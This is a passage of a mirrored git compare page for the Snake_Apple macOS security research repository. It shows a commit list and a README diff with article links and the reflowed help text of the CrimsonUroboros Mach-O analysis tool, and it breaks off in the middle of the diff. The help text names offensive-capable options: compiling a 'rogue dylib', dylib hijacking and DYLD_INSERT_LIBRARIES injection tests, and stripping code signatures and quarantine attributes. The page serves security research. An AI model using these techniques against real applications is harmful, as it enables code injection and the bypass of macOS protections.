mirror of
https://github.com/Karmaz95/Snake_Apple.git
synced 2026-04-05 14:22:03 +02:00
Compare commits
50 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2e4fe54a6f | ||
|
|
6915ce42a4 | ||
|
|
603e984ed4 | ||
|
|
06db486a74 | ||
|
|
6223fc3df2 | ||
|
|
116c826b9c | ||
|
|
a0e9a1500f | ||
|
|
532c6cf56f | ||
|
|
514b18d64f | ||
|
|
24cd4ccb58 | ||
|
|
a49923016b | ||
|
|
0a576da592 | ||
|
|
7a0de01576 | ||
|
|
2107b01887 | ||
|
|
684d03c491 | ||
|
|
83db8c656d | ||
|
|
3f1b032bff | ||
|
|
b920d49964 | ||
|
|
917088a2ec | ||
|
|
9f195f010b | ||
|
|
1e0787cef8 | ||
|
|
5f2f010eb7 | ||
|
|
2b125144ea | ||
|
|
fe6dcb3b79 | ||
|
|
975b88ffcc | ||
|
|
3f3d5355b3 | ||
|
|
043c2714f1 | ||
|
|
b735706891 | ||
|
|
5e6daa4a92 | ||
|
|
9a58e93e3c | ||
|
|
63971e56bc | ||
|
|
25dd6a7ef2 | ||
|
|
0b585a6e33 | ||
|
|
94ac0a9eda | ||
|
|
dcd13d7e7a | ||
|
|
4e92e0de3f | ||
|
|
2249085af6 | ||
|
|
7697a32562 | ||
|
|
8a218fe824 | ||
|
|
cac8faf611 | ||
|
|
6fa59caab5 | ||
|
|
42cf84599a | ||
|
|
23280fb8c9 | ||
|
|
448432df9d | ||
|
|
d292244cbe | ||
|
|
6b34b6ea10 | ||
|
|
5099b43a34 | ||
|
|
1bc13f6fbe | ||
|
|
c956294ec7 | ||
|
|
9c9d5d30f0 |
BIN
App Bundle Extension/custom/XPC/text_terminal_xpc.zip
Normal file
BIN
App Bundle Extension/custom/XPC/text_terminal_xpc.zip
Normal file
Binary file not shown.
373
README.md
373
README.md
@@ -14,6 +14,7 @@ The table of contents showing links to all articles is below:
|
||||
* ☑ [App Bundle Extension](https://karol-mazurek.medium.com/snake-apple-app-bundle-ext-f5c43a3c84c4?sk=v2%2F3ff105ad-f4f0-464d-b4d5-46b86c66fe14)
|
||||
* ☑ [Cracking macOS apps](https://karol-mazurek.medium.com/cracking-macos-apps-39575dd672e0?sk=v2%2F727dce55-53ee-45f6-b051-2979e62f2ba1)
|
||||
* ☑ [Cracking Electron Integrity](https://karol-mazurek.medium.com/cracking-electron-integrity-0a10e0d5f239?sk=v2%2F7726b99c-c6c9-4d70-8c37-da9f2f0874e8)
|
||||
* ☑ [XPC Programming on macOS](https://karol-mazurek.medium.com/xpc-programming-on-macos-7e1918573f6d?sk=v2%2F21c4e9c7-40a5-43dd-804b-0d8f9bc4e94c)
|
||||
* ☑ [I. Mach-O](https://karol-mazurek95.medium.com/snake-apple-i-mach-o-a8eda4b87263?sk=v2%2Ffc1cbfa4-e2d4-4387-9a82-b27191978b5b)
|
||||
* ☑ [Optimizing Mach-O Detection](https://karol-mazurek.medium.com/optimizing-mach-o-detection-40352101bbef?sk=v2%2F3378d3f5-874b-4b82-94d5-b2ccd8522ea3)
|
||||
* ☑ [II. Code Signing](https://karol-mazurek95.medium.com/snake-apple-ii-code-signing-f0a9967b7f02?sk=v2%2Fbbc87007-89ca-4135-91d6-668b5d2fe9ae)
|
||||
@@ -41,11 +42,16 @@ The table of contents showing links to all articles is below:
|
||||
* ☑ [Sandbox Validator](https://karol-mazurek.medium.com/sandbox-validator-e760e5d88617?sk=v2%2F145ac2ef-ca06-41a0-b310-c96f4ce0037b)
|
||||
* ☑ [App Sandbox startup](https://karol-mazurek.medium.com/app-sandbox-startup-71daf8f259d1?sk=v2%2F9f3b09a6-c7c0-445d-8613-8e25bf3f4e4d)
|
||||
* ☑ [System Intigrity Protection](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
|
||||
* ☐ [IX. TCC](https://karol-mazurek.medium.com/snake-apple-ix-tcc-ae822e3e2718?sk=v2%2F426ae6cf-6418-4e3f-a0ca-3aee06d6f676)
|
||||
* ☑ [IX. TCC](https://karol-mazurek.medium.com/snake-apple-ix-tcc-ae822e3e2718?sk=v2%2F426ae6cf-6418-4e3f-a0ca-3aee06d6f676)
|
||||
* ☑ [Apple UUID Finder](https://karol-mazurek.medium.com/apple-uuid-finder-a5173bdd1a8a?sk=v2%2F04bb0d32-6dc9-437d-bf72-8f65e03fed90)
|
||||
* ☐ [X. NU]()
|
||||
* ☑ [X. NU](https://karol-mazurek.medium.com/snake-apple-x-nu-0bc5c36170da?sk=v2%2F502ee9db-8d8a-4a1b-8655-546742a7d261)
|
||||
* ☑ [Kernel Debugging Setup on MacOS](https://karol-mazurek.medium.com/kernel-debugging-setup-on-macos-07dd8c86cdb6?sk=v2%2F782bf539-a057-4f14-bbe7-f8e1ace26701)
|
||||
* ☐ [Fixing an Infinite Loop](https://karol-mazurek.medium.com/fixing-an-infinite-loop-on-unix-e0a8a5501c54?sk=v2%2F140555f8-9770-4c6b-9734-d9c5b7cc9bc7)
|
||||
* ☑ [Fixing an Infinite Loop](https://karol-mazurek.medium.com/fixing-an-infinite-loop-on-unix-e0a8a5501c54?sk=v2%2F140555f8-9770-4c6b-9734-d9c5b7cc9bc7)
|
||||
* ☑ [Exceptions on macOS](https://karol-mazurek.medium.com/exceptions-on-macos-2c4bd6a9fd31?sk=v2%2Ffa7393a6-16e7-46d4-84d0-4de300260533)
|
||||
* ☑ [MACF on macOS](https://karol-mazurek.medium.com/macf-on-macos-004b8a490e2c?sk=v2%2Fd9a61281-e230-4ac6-8608-ad062f4d2a9a)
|
||||
* ☑ [Kernel Extensions on macOS](https://karol-mazurek.medium.com/kernel-extensions-on-macos-1b0f38b632ea?sk=v2%2Fb6920735-90f9-459c-9c10-30980247bae7)
|
||||
* ☑ [Mach IPC Security on macOS](https://karol-mazurek.medium.com/mach-ipc-security-on-macos-63ee350cb59b?sk=v2%2F3afce264-9b59-447f-84ea-b1988606191a)
|
||||
* ☑ [Drivers on macOS](https://karol-mazurek.medium.com/drivers-on-macos-26edbde370ab?sk=v2%2F8a5bbc18-aae7-4a68-b0dd-bb5ce70b5752)
|
||||
|
||||
## TOOLS
|
||||
[CrimsonUroboros](#crimsonuroboros) • [MachOFileFinder](#machofilefinder) • [TrustCacheParser](#trustcacheparser) • [SignatureReader](#signaturereader) • [extract_cms.sh](#extract_cmssh) • [ModifyMachOFlags](#modifymachoflags) • [LCFinder](#lcfinder) • [MachODylibLoadCommandsFinder](#machodylibloadcommandsfinder) • [AMFI_test.sh](VI.%20AMFI/custom/AMFI_test.sh) • [make_plist](VIII.%20Sandbox/python/make_plist.py) • [sandbox_inspector](VIII.%20Sandbox/python/sandbox_inspector.py) • [spblp_compiler_wrapper](VIII.%20Sandbox/custom/sbpl_compiler_wrapper) • [make_bundle](#make_bundle) • [make_bundle_exe](#make_bundle_exe) • [make_dmg](#make_dmg) • [electron_patcher](#electron_patcher) • [sandbox_validator](#sandbox_validator) • [sandblaster](#sandblaster) • [sip_check](#sip_check) • [crimson_waccess.py](#crimson_waccesspy) • [sip_tester](#sip_tester) • [UUIDFinder](#uuidfinder)
|
||||
@@ -56,68 +62,41 @@ The table of contents showing links to all articles is below:
|
||||
Core program resulting from the Snake&Apple article series for binary analysis. You may find older versions of this script in each article directory in this repository.
|
||||
* Usage
|
||||
```console
|
||||
usage: CrimsonUroboros [-h] [-p PATH] [-b BUNDLE] [--bundle_structure]
|
||||
[--bundle_info] [--bundle_info_syntax_check]
|
||||
[--bundle_frameworks] [--bundle_plugins] [--bundle_id]
|
||||
[--file_type] [--header_flags] [--endian] [--header]
|
||||
[--load_commands] [--has_cmd LC_MAIN] [--segments]
|
||||
[--has_segment __SEGMENT] [--sections]
|
||||
[--has_section __SEGMENT,__section] [--symbols]
|
||||
[--imports] [--exports] [--imported_symbols]
|
||||
[--chained_fixups] [--exports_trie] [--uuid] [--main]
|
||||
[--encryption_info [(optional) save_path.bytes]]
|
||||
[--strings_section] [--all_strings]
|
||||
[--save_strings all_strings.txt] [--info]
|
||||
[--dump_data [offset,size,output_path]]
|
||||
[--calc_offset vm_offset] [--constructors]
|
||||
[--dump_section __SEGMENT,__section]
|
||||
[--dump_binary output_path] [--verify_signature]
|
||||
[--cd_info] [--cd_requirements]
|
||||
[--entitlements [human|xml|var]]
|
||||
[--extract_cms cms_signature.der]
|
||||
[--extract_certificates certificate_name]
|
||||
[--remove_sig unsigned_binary]
|
||||
[--sign_binary [adhoc|identity]] [--cs_offset]
|
||||
[--cs_flags] [--verify_bundle_signature]
|
||||
[--remove_sig_from_bundle] [--has_pie] [--has_arc]
|
||||
[--is_stripped] [--has_canary] [--has_nx_stack]
|
||||
[--has_nx_heap] [--has_xn] [--is_notarized]
|
||||
[--is_encrypted] [--is_restricted] [--is_hr] [--is_as]
|
||||
[--is_fort] [--has_rpath] [--has_lv] [--checksec]
|
||||
[--dylibs] [--rpaths] [--rpaths_u] [--dylibs_paths]
|
||||
[--dylibs_paths_u] [--broken_relative_paths]
|
||||
[--dylibtree [cache_path,output_path,is_extracted]]
|
||||
[--dylib_id] [--reexport_paths] [--hijack_sec]
|
||||
[--dylib_hijacking [(optional) cache_path]]
|
||||
[--dylib_hijacking_a [cache_path]]
|
||||
[--prepare_dylib [(optional) target_dylib_name]]
|
||||
[--is_built_for_sim] [--get_dyld_env]
|
||||
[--compiled_with_dyld_env] [--has_interposing]
|
||||
[--interposing_symbols]
|
||||
[--dump_prelink_info [(optional) out_name]]
|
||||
[--dump_prelink_text [(optional) out_name]]
|
||||
[--dump_prelink_kext [kext_name]]
|
||||
[--kext_prelinkinfo [kext_name]]
|
||||
[--kmod_info kext_name] [--kext_entry kext_name]
|
||||
[--kext_exit kext_name] [--mig] [--has_suid]
|
||||
[--has_sgid] [--has_sticky] [--injectable_dyld]
|
||||
[--test_insert_dylib] [--test_prune_dyld]
|
||||
[--test_dyld_print_to_file] [--test_dyld_SLC] [--xattr]
|
||||
[--xattr_value xattr_name] [--xattr_all]
|
||||
[--has_quarantine] [--remove_quarantine]
|
||||
[--add_quarantine] [--sandbox_container_path]
|
||||
[--sandbox_container_metadata]
|
||||
[--sandbox_redirectable_paths] [--sandbox_parameters]
|
||||
[--sandbox_entitlements] [--sandbox_build_uuid]
|
||||
[--sandbox_redirected_paths] [--sandbox_system_images]
|
||||
[--sandbox_system_profiles]
|
||||
[--sandbox_content_protection] [--sandbox_profile_data]
|
||||
[--dump_kext kext_name] [--extract_sandbox_operations]
|
||||
[--tcc] [--tcc_fda] [--tcc_automation] [--tcc_sysadmin]
|
||||
[--tcc_desktop] [--tcc_documents] [--tcc_downloads]
|
||||
[--tcc_photos] [--tcc_contacts] [--tcc_calendar]
|
||||
[--tcc_camera] [--tcc_microphone] [--tcc_location]
|
||||
[--tcc_recording] [--tcc_accessibility] [--tcc_icloud]
|
||||
usage: CrimsonUroboros [-h] [-p PATH] [-b BUNDLE] [--bundle_structure] [--bundle_info] [--bundle_info_syntax_check]
|
||||
[--bundle_frameworks] [--bundle_plugins] [--bundle_id] [--file_type] [--header_flags]
|
||||
[--endian] [--header] [--load_commands] [--has_cmd LC_MAIN] [--segments]
|
||||
[--has_segment __SEGMENT] [--sections] [--has_section __SEGMENT,__section] [--symbols]
|
||||
[--imports] [--exports] [--imported_symbols] [--chained_fixups] [--exports_trie] [--uuid]
|
||||
[--main] [--encryption_info [(optional) save_path.bytes]] [--strings_section]
|
||||
[--all_strings] [--save_strings all_strings.txt] [--info]
|
||||
[--dump_data [offset,size,output_path]] [--calc_offset vm_offset] [--constructors]
|
||||
[--dump_section __SEGMENT,__section] [--dump_binary output_path] [--verify_signature]
|
||||
[--cd_info] [--cd_requirements] [--entitlements [human|xml|var]]
|
||||
[--extract_cms cms_signature.der] [--extract_certificates certificate_name]
|
||||
[--remove_sig unsigned_binary] [--sign_binary [adhoc|identity]] [--cs_offset] [--cs_flags]
|
||||
[--verify_bundle_signature] [--remove_sig_from_bundle] [--has_pie] [--has_arc]
|
||||
[--is_stripped] [--has_canary] [--has_nx_stack] [--has_nx_heap] [--has_xn] [--is_notarized]
|
||||
[--is_encrypted] [--is_restricted] [--is_hr] [--is_as] [--is_fort] [--has_rpath] [--has_lv]
|
||||
[--checksec] [--dylibs] [--rpaths] [--rpaths_u] [--dylibs_paths] [--dylibs_paths_u]
|
||||
[--broken_relative_paths] [--dylibtree [cache_path,output_path,is_extracted]] [--dylib_id]
|
||||
[--reexport_paths] [--hijack_sec] [--dylib_hijacking [(optional) cache_path]]
|
||||
[--dylib_hijacking_a [cache_path]] [--prepare_dylib [(optional) target_dylib_name]]
|
||||
[--is_built_for_sim] [--get_dyld_env] [--compiled_with_dyld_env] [--has_interposing]
|
||||
[--interposing_symbols] [--has_suid] [--has_sgid] [--has_sticky] [--injectable_dyld]
|
||||
[--test_insert_dylib] [--test_prune_dyld] [--test_dyld_print_to_file] [--test_dyld_SLC]
|
||||
[--xattr] [--xattr_value xattr_name] [--xattr_all] [--has_quarantine] [--remove_quarantine]
|
||||
[--add_quarantine] [--sandbox_container_path] [--sandbox_container_metadata]
|
||||
[--sandbox_redirectable_paths] [--sandbox_parameters] [--sandbox_entitlements]
|
||||
[--sandbox_build_uuid] [--sandbox_redirected_paths] [--sandbox_system_images]
|
||||
[--sandbox_system_profiles] [--sandbox_content_protection] [--sandbox_profile_data]
|
||||
[--extract_sandbox_operations] [--extract_sandbox_platform_profile] [--tcc] [--tcc_fda]
|
||||
[--tcc_automation] [--tcc_sysadmin] [--tcc_desktop] [--tcc_documents] [--tcc_downloads]
|
||||
[--tcc_photos] [--tcc_contacts] [--tcc_calendar] [--tcc_camera] [--tcc_microphone]
|
||||
[--tcc_location] [--tcc_recording] [--tcc_accessibility] [--tcc_icloud]
|
||||
[--parse_mpo mpo_addr] [--dump_prelink_info [(optional) out_name]]
|
||||
[--dump_prelink_text [(optional) out_name]] [--dump_prelink_kext [kext_name]]
|
||||
[--kext_prelinkinfo [kext_name]] [--kmod_info kext_name] [--kext_entry kext_name]
|
||||
[--kext_exit kext_name] [--mig] [--dump_kext kext_name]
|
||||
|
||||
Mach-O files parser for binary analysis
|
||||
|
||||
@@ -126,20 +105,17 @@ options:
|
||||
|
||||
GENERAL ARGS:
|
||||
-p, --path PATH Path to the Mach-O file
|
||||
-b, --bundle BUNDLE Path to the App Bundle (can be used with -p to change
|
||||
path of binary which is by default set to:
|
||||
/target.app/Contents/MacOS/target)
|
||||
-b, --bundle BUNDLE Path to the App Bundle (can be used with -p to change path of binary which is by default
|
||||
set to: /target.app/Contents/MacOS/target)
|
||||
|
||||
BUNDLE ARGS:
|
||||
--bundle_structure Print the structure of the app bundle
|
||||
--bundle_info Print the Info.plist content of the app bundle (JSON
|
||||
format)
|
||||
--bundle_info Print the Info.plist content of the app bundle (JSON format)
|
||||
--bundle_info_syntax_check
|
||||
Check if bundle info syntax is valid
|
||||
--bundle_frameworks Print the list of frameworks in the bundle
|
||||
--bundle_plugins Print the list of plugins in the bundle
|
||||
--bundle_id Print the CFBundleIdentifier value from the Info.plist
|
||||
file if it exists
|
||||
--bundle_id Print the CFBundleIdentifier value from the Info.plist file if it exists
|
||||
|
||||
MACH-O ARGS:
|
||||
--file_type Print binary file type
|
||||
@@ -157,192 +133,129 @@ MACH-O ARGS:
|
||||
--symbols Print all binary symbols
|
||||
--imports Print imported symbols
|
||||
--exports Print exported symbols
|
||||
--imported_symbols Print symbols imported from external libraries with
|
||||
dylib names
|
||||
--imported_symbols Print symbols imported from external libraries with dylib names
|
||||
--chained_fixups Print Chained Fixups information
|
||||
--exports_trie Print Export Trie information
|
||||
--uuid Print UUID
|
||||
--main Print entry point and stack size
|
||||
--encryption_info [(optional) save_path.bytes]
|
||||
Print encryption info if any. Optionally specify an
|
||||
output path to dump the encrypted data (if cryptid=0,
|
||||
data will be in plain text)
|
||||
Print encryption info if any. Optionally specify an output path to dump the encrypted data
|
||||
(if cryptid=0, data will be in plain text)
|
||||
--strings_section Print strings from __cstring section
|
||||
--all_strings Print strings from all sections
|
||||
--save_strings all_strings.txt
|
||||
Parse all sections, detect strings, and save them to a
|
||||
file
|
||||
--info Print header, load commands, segments, sections,
|
||||
symbols, and strings
|
||||
Parse all sections, detect strings, and save them to a file
|
||||
--info Print header, load commands, segments, sections, symbols, and strings
|
||||
--dump_data [offset,size,output_path]
|
||||
Dump {size} bytes starting from {offset} to a given
|
||||
{filename} (e.g. '0x1234,0x1000,out.bin')
|
||||
Dump {size} bytes starting from {offset} to a given {filename} (e.g.
|
||||
'0x1234,0x1000,out.bin')
|
||||
--calc_offset vm_offset
|
||||
Calculate the real address (file on disk) of the given
|
||||
Virtual Memory {vm_offset} (e.g. 0xfffffe000748f580)
|
||||
Calculate the real address (file on disk) of the given Virtual Memory {vm_offset} (e.g.
|
||||
0xfffffe000748f580)
|
||||
--constructors Print binary constructors
|
||||
--dump_section __SEGMENT,__section
|
||||
Dump '__SEGMENT,__section' to standard output as a raw
|
||||
bytes
|
||||
Dump '__SEGMENT,__section' to standard output as a raw bytes
|
||||
--dump_binary output_path
|
||||
Dump arm64 binary to a given file
|
||||
|
||||
CODE SIGNING ARGS:
|
||||
--verify_signature Code Signature verification (if the contents of the
|
||||
binary have been modified)
|
||||
--verify_signature Code Signature verification (if the contents of the binary have been modified)
|
||||
--cd_info Print Code Signature information
|
||||
--cd_requirements Print Code Signature Requirements
|
||||
--entitlements [human|xml|var]
|
||||
Print Entitlements in a human-readable, XML, or DER
|
||||
format (default: human)
|
||||
Print Entitlements in a human-readable, XML, or DER format (default: human)
|
||||
--extract_cms cms_signature.der
|
||||
Extract CMS Signature from the Code Signature and save
|
||||
it to a given file
|
||||
Extract CMS Signature from the Code Signature and save it to a given file
|
||||
--extract_certificates certificate_name
|
||||
Extract Certificates and save them to a given file. To
|
||||
each filename will be added an index at the end: _0
|
||||
for signing, _1 for intermediate, and _2 for root CA
|
||||
certificate
|
||||
Extract Certificates and save them to a given file. To each filename will be added an index
|
||||
at the end: _0 for signing, _1 for intermediate, and _2 for root CA certificate
|
||||
--remove_sig unsigned_binary
|
||||
Save the new file on a disk with removed signature
|
||||
--sign_binary [adhoc|identity]
|
||||
Sign binary using specified identity - use : 'security
|
||||
find-identity -v -p codesigning' to get the identity
|
||||
(default: adhoc)
|
||||
Sign binary using specified identity - use : 'security find-identity -v -p codesigning' to
|
||||
get the identity (default: adhoc)
|
||||
--cs_offset Print Code Signature file offset
|
||||
--cs_flags Print Code Signature flags
|
||||
--verify_bundle_signature
|
||||
Code Signature verification (if the contents of the
|
||||
bundle have been modified)
|
||||
Code Signature verification (if the contents of the bundle have been modified)
|
||||
--remove_sig_from_bundle
|
||||
Remove Code Signature from the bundle
|
||||
|
||||
CHECKSEC ARGS:
|
||||
--has_pie Check if Position-Independent Executable (PIE) is set
|
||||
--has_arc Check if Automatic Reference Counting (ARC) is in use
|
||||
(can be false positive)
|
||||
--has_arc Check if Automatic Reference Counting (ARC) is in use (can be false positive)
|
||||
--is_stripped Check if binary is stripped
|
||||
--has_canary Check if Stack Canary is in use (can be false
|
||||
positive)
|
||||
--has_canary Check if Stack Canary is in use (can be false positive)
|
||||
--has_nx_stack Check if stack is non-executable (NX stack)
|
||||
--has_nx_heap Check if heap is non-executable (NX heap)
|
||||
--has_xn Check if binary is protected by eXecute Never (XN) ARM
|
||||
protection
|
||||
--is_notarized Check if the application is notarized and can pass the
|
||||
Gatekeeper verification
|
||||
--is_encrypted Check if the application is encrypted (has
|
||||
LC_ENCRYPTION_INFO(_64) and cryptid set to 1)
|
||||
--is_restricted Check if binary has __RESTRICT segment or CS_RESTRICT
|
||||
flag set
|
||||
--has_xn Check if binary is protected by eXecute Never (XN) ARM protection
|
||||
--is_notarized Check if the application is notarized and can pass the Gatekeeper verification
|
||||
--is_encrypted Check if the application is encrypted (has LC_ENCRYPTION_INFO(_64) and cryptid set to 1)
|
||||
--is_restricted Check if binary has __RESTRICT segment or CS_RESTRICT flag set
|
||||
--is_hr Check if the Hardened Runtime is in use
|
||||
--is_as Check if the App Sandbox is in use
|
||||
--is_fort Check if the binary is fortified
|
||||
--has_rpath Check if the binary utilise any @rpath variables
|
||||
--has_lv Check if the binary has Library Validation (protection
|
||||
against Dylib Hijacking)
|
||||
--has_lv Check if the binary has Library Validation (protection against Dylib Hijacking)
|
||||
--checksec Run all checksec module options on the binary
|
||||
|
||||
DYLIBS ARGS:
|
||||
--dylibs Print shared libraries used by specified binary with
|
||||
compatibility and the current version (loading paths
|
||||
unresolved, like @rpath/example.dylib)
|
||||
--rpaths Print all paths (resolved) that @rpath can be resolved
|
||||
to
|
||||
--rpaths_u Print all paths (unresolved) that @rpath can be
|
||||
resolved to
|
||||
--dylibs_paths Print absolute dylib loading paths (resolved
|
||||
@rpath|@executable_path|@loader_path) in order they
|
||||
are searched for
|
||||
--dylibs Print shared libraries used by specified binary with compatibility and the current version
|
||||
(loading paths unresolved, like @rpath/example.dylib)
|
||||
--rpaths Print all paths (resolved) that @rpath can be resolved to
|
||||
--rpaths_u Print all paths (unresolved) that @rpath can be resolved to
|
||||
--dylibs_paths Print absolute dylib loading paths (resolved @rpath|@executable_path|@loader_path) in order
|
||||
they are searched for
|
||||
--dylibs_paths_u Print unresolved dylib loading paths.
|
||||
--broken_relative_paths
|
||||
Print 'broken' relative paths from the binary (cases
|
||||
where the dylib source is specified for an executable
|
||||
directory without @executable_path)
|
||||
Print 'broken' relative paths from the binary (cases where the dylib source is specified
|
||||
for an executable directory without @executable_path)
|
||||
--dylibtree [cache_path,output_path,is_extracted]
|
||||
Print the dynamic dependencies of a Mach-O binary
|
||||
recursively. You can specify the Dyld Shared Cache
|
||||
path in the first argument, the output directory as
|
||||
the 2nd argument, and if you have already extracted
|
||||
DSC in the 3rd argument (0 or 1). The output_path will
|
||||
be used as a base for dylibtree. For example, to not
|
||||
extract DSC, use: --dylibs ",,1", or to extract from
|
||||
default to default use just --dylibs or --dylibs ",,0"
|
||||
which will extract DSC to extracted_dyld_share_cache/
|
||||
in the current directory
|
||||
Print the dynamic dependencies of a Mach-O binary recursively. You can specify the Dyld
|
||||
Shared Cache path in the first argument, the output directory as the 2nd argument, and if
|
||||
you have already extracted DSC in the 3rd argument (0 or 1). The output_path will be used
|
||||
as a base for dylibtree. For example, to not extract DSC, use: --dylibs ",,1", or to
|
||||
extract from default to default use just --dylibs or --dylibs ",,0" which will extract DSC
|
||||
to extracted_dyld_share_cache/ in the current directory
|
||||
--dylib_id Print path from LC_ID_DYLIB
|
||||
--reexport_paths Print paths from LC_REEXPORT_DLIB
|
||||
--hijack_sec Check if binary is protected against Dylib Hijacking
|
||||
--dylib_hijacking [(optional) cache_path]
|
||||
Check for possible Direct and Indirect Dylib Hijacking
|
||||
loading paths. The output is printed to console and
|
||||
saved in JSON format to
|
||||
/tmp/dylib_hijacking_log.json(append mode).
|
||||
Check for possible Direct and Indirect Dylib Hijacking loading paths. The output is printed
|
||||
to console and saved in JSON format to /tmp/dylib_hijacking_log.json(append mode).
|
||||
Optionally, specify the path to the Dyld Shared Cache
|
||||
--dylib_hijacking_a [cache_path]
|
||||
Like --dylib_hijacking, but shows only possible
|
||||
vectors (without protected binaries)
|
||||
Like --dylib_hijacking, but shows only possible vectors (without protected binaries)
|
||||
--prepare_dylib [(optional) target_dylib_name]
|
||||
Compile rogue dylib. Optionally, specify
|
||||
target_dylib_path, it will search for the imported
|
||||
symbols from it in the dylib specified in the --path
|
||||
argument and automatically add it to the source code
|
||||
of the rogue lib. Example: --path lib1.dylib
|
||||
--prepare_dylib /path/to/lib2.dylib
|
||||
Compile rogue dylib. Optionally, specify target_dylib_path, it will search for the imported
|
||||
symbols from it in the dylib specified in the --path argument and automatically add it to
|
||||
the source code of the rogue lib. Example: --path lib1.dylib --prepare_dylib
|
||||
/path/to/lib2.dylib
|
||||
|
||||
DYLD ARGS:
|
||||
--is_built_for_sim Check if binary is built for simulator platform.
|
||||
--get_dyld_env Extract Dyld environment variables from the loader
|
||||
binary.
|
||||
--get_dyld_env Extract Dyld environment variables from the loader binary.
|
||||
--compiled_with_dyld_env
|
||||
Check if binary was compiled with -dyld_env flag and
|
||||
print the environment variables and its values.
|
||||
Check if binary was compiled with -dyld_env flag and print the environment variables and
|
||||
its values.
|
||||
--has_interposing Check if binary has interposing sections.
|
||||
--interposing_symbols
|
||||
Print interposing symbols if any.
|
||||
|
||||
AMFI ARGS:
|
||||
--dump_prelink_info [(optional) out_name]
|
||||
Dump "__PRELINK_INFO,__info" to a given file (default:
|
||||
"PRELINK_info.txt")
|
||||
--dump_prelink_text [(optional) out_name]
|
||||
Dump "__PRELINK_TEXT,__text" to a given file (default:
|
||||
"PRELINK_text.txt")
|
||||
--dump_prelink_kext [kext_name]
|
||||
Dump prelinked KEXT {kext_name} from decompressed
|
||||
Kernel Cache PRELINK_TEXT segment to a file named:
|
||||
prelinked_{kext_name}.bin
|
||||
--kext_prelinkinfo [kext_name]
|
||||
Print _Prelink properties from PRELINK_INFO,__info for
|
||||
a give {kext_name}
|
||||
--kmod_info kext_name
|
||||
Parse kmod_info structure for the given {kext_name}
|
||||
from Kernel Cache
|
||||
--kext_entry kext_name
|
||||
Calculate the virtual memory address of the __start
|
||||
(entrypoint) for the given {kext_name} Kernel
|
||||
Extension
|
||||
--kext_exit kext_name
|
||||
Calculate the virtual memory address of the __stop
|
||||
(exitpoint) for the given {kext_name} Kernel Extension
|
||||
--mig Search for MIG subsystem and prints message handlers
|
||||
--has_suid Check if the file has SetUID bit set
|
||||
--has_sgid Check if the file has SetGID bit set
|
||||
--has_sticky Check if the file has sticky bit set
|
||||
--injectable_dyld Check if the binary is injectable using
|
||||
DYLD_INSERT_LIBRARIES
|
||||
--test_insert_dylib Check if it is possible to inject dylib using
|
||||
DYLD_INSERT_LIBRARIES (INVASIVE - the binary is
|
||||
executed)
|
||||
--test_prune_dyld Check if Dyld Environment Variables are cleared (using
|
||||
DYLD_PRINT_INITIALIZERS=1) (INVASIVE - the binary is
|
||||
executed)
|
||||
--injectable_dyld Check if the binary is injectable using DYLD_INSERT_LIBRARIES
|
||||
--test_insert_dylib Check if it is possible to inject dylib using DYLD_INSERT_LIBRARIES (INVASIVE - the binary
|
||||
is executed)
|
||||
--test_prune_dyld Check if Dyld Environment Variables are cleared (using DYLD_PRINT_INITIALIZERS=1) (INVASIVE
|
||||
- the binary is executed)
|
||||
--test_dyld_print_to_file
|
||||
Check if DYLD_PRINT_TO_FILE Dyld Environment Variables
|
||||
works (INVASIVE - the binary is executed)
|
||||
--test_dyld_SLC Check if DYLD_SHARED_REGION=private Dyld Environment
|
||||
Variables works and code can be injected using
|
||||
DYLD_SHARED_CACHE_DIR (INVASIVE - the binary is
|
||||
Check if DYLD_PRINT_TO_FILE Dyld Environment Variables works (INVASIVE - the binary is
|
||||
executed)
|
||||
--test_dyld_SLC Check if DYLD_SHARED_REGION=private Dyld Environment Variables works and code can be
|
||||
injected using DYLD_SHARED_CACHE_DIR (INVASIVE - the binary is executed)
|
||||
|
||||
ANTIVIRUS ARGS:
|
||||
--xattr Print all extended attributes names
|
||||
@@ -350,55 +263,41 @@ ANTIVIRUS ARGS:
|
||||
Print single extended attribute value
|
||||
--xattr_all Print all extended attributes names and their values
|
||||
--has_quarantine Check if the file has quarantine extended attribute
|
||||
--remove_quarantine Remove com.apple.quarantine extended attribute from
|
||||
the file
|
||||
--add_quarantine Add com.apple.quarantine extended attribute to the
|
||||
file
|
||||
--remove_quarantine Remove com.apple.quarantine extended attribute from the file
|
||||
--add_quarantine Add com.apple.quarantine extended attribute to the file
|
||||
|
||||
SANDBOX ARGS:
|
||||
--sandbox_container_path
|
||||
Print the sandbox container path
|
||||
--sandbox_container_metadata
|
||||
Print the .com.apple.containermanagerd.metadata.plist
|
||||
contents for the given bundlein XML format
|
||||
Print the .com.apple.containermanagerd.metadata.plist contents for the given bundlein XML
|
||||
format
|
||||
--sandbox_redirectable_paths
|
||||
Print the redirectable paths from the sandbox
|
||||
container metadata as list
|
||||
--sandbox_parameters Print the parameters from the sandbox container
|
||||
metadata as key-value pairs
|
||||
Print the redirectable paths from the sandbox container metadata as list
|
||||
--sandbox_parameters Print the parameters from the sandbox container metadata as key-value pairs
|
||||
--sandbox_entitlements
|
||||
Print the entitlements from the sandbox container
|
||||
metadata in JSON format
|
||||
--sandbox_build_uuid Print the sandbox build UUID from the sandbox
|
||||
container metadata
|
||||
Print the entitlements from the sandbox container metadata in JSON format
|
||||
--sandbox_build_uuid Print the sandbox build UUID from the sandbox container metadata
|
||||
--sandbox_redirected_paths
|
||||
Print the redirected paths from the sandbox container
|
||||
metadata as list
|
||||
Print the redirected paths from the sandbox container metadata as list
|
||||
--sandbox_system_images
|
||||
Print the system images from the sandbox container
|
||||
metadata as key-value pairs
|
||||
Print the system images from the sandbox container metadata as key-value pairs
|
||||
--sandbox_system_profiles
|
||||
Print the system profile from the sandbox container
|
||||
metadata in JSON format
|
||||
Print the system profile from the sandbox container metadata in JSON format
|
||||
--sandbox_content_protection
|
||||
Print the content protection from the sandbox
|
||||
container metadata
|
||||
Print the content protection from the sandbox container metadata
|
||||
--sandbox_profile_data
|
||||
Print raw bytes ofthe sandbox profile data from the
|
||||
sandbox container metadata
|
||||
--dump_kext kext_name
|
||||
Dump the kernel extension binary from the
|
||||
kernelcache.decompressed file
|
||||
Print raw bytes ofthe sandbox profile data from the sandbox container metadata
|
||||
--extract_sandbox_operations
|
||||
Extract sandbox operations from the Sandbox.kext file
|
||||
--extract_sandbox_platform_profile
|
||||
Extract sandbox platform profile from the Sandbox.kext file
|
||||
|
||||
TCC ARGS:
|
||||
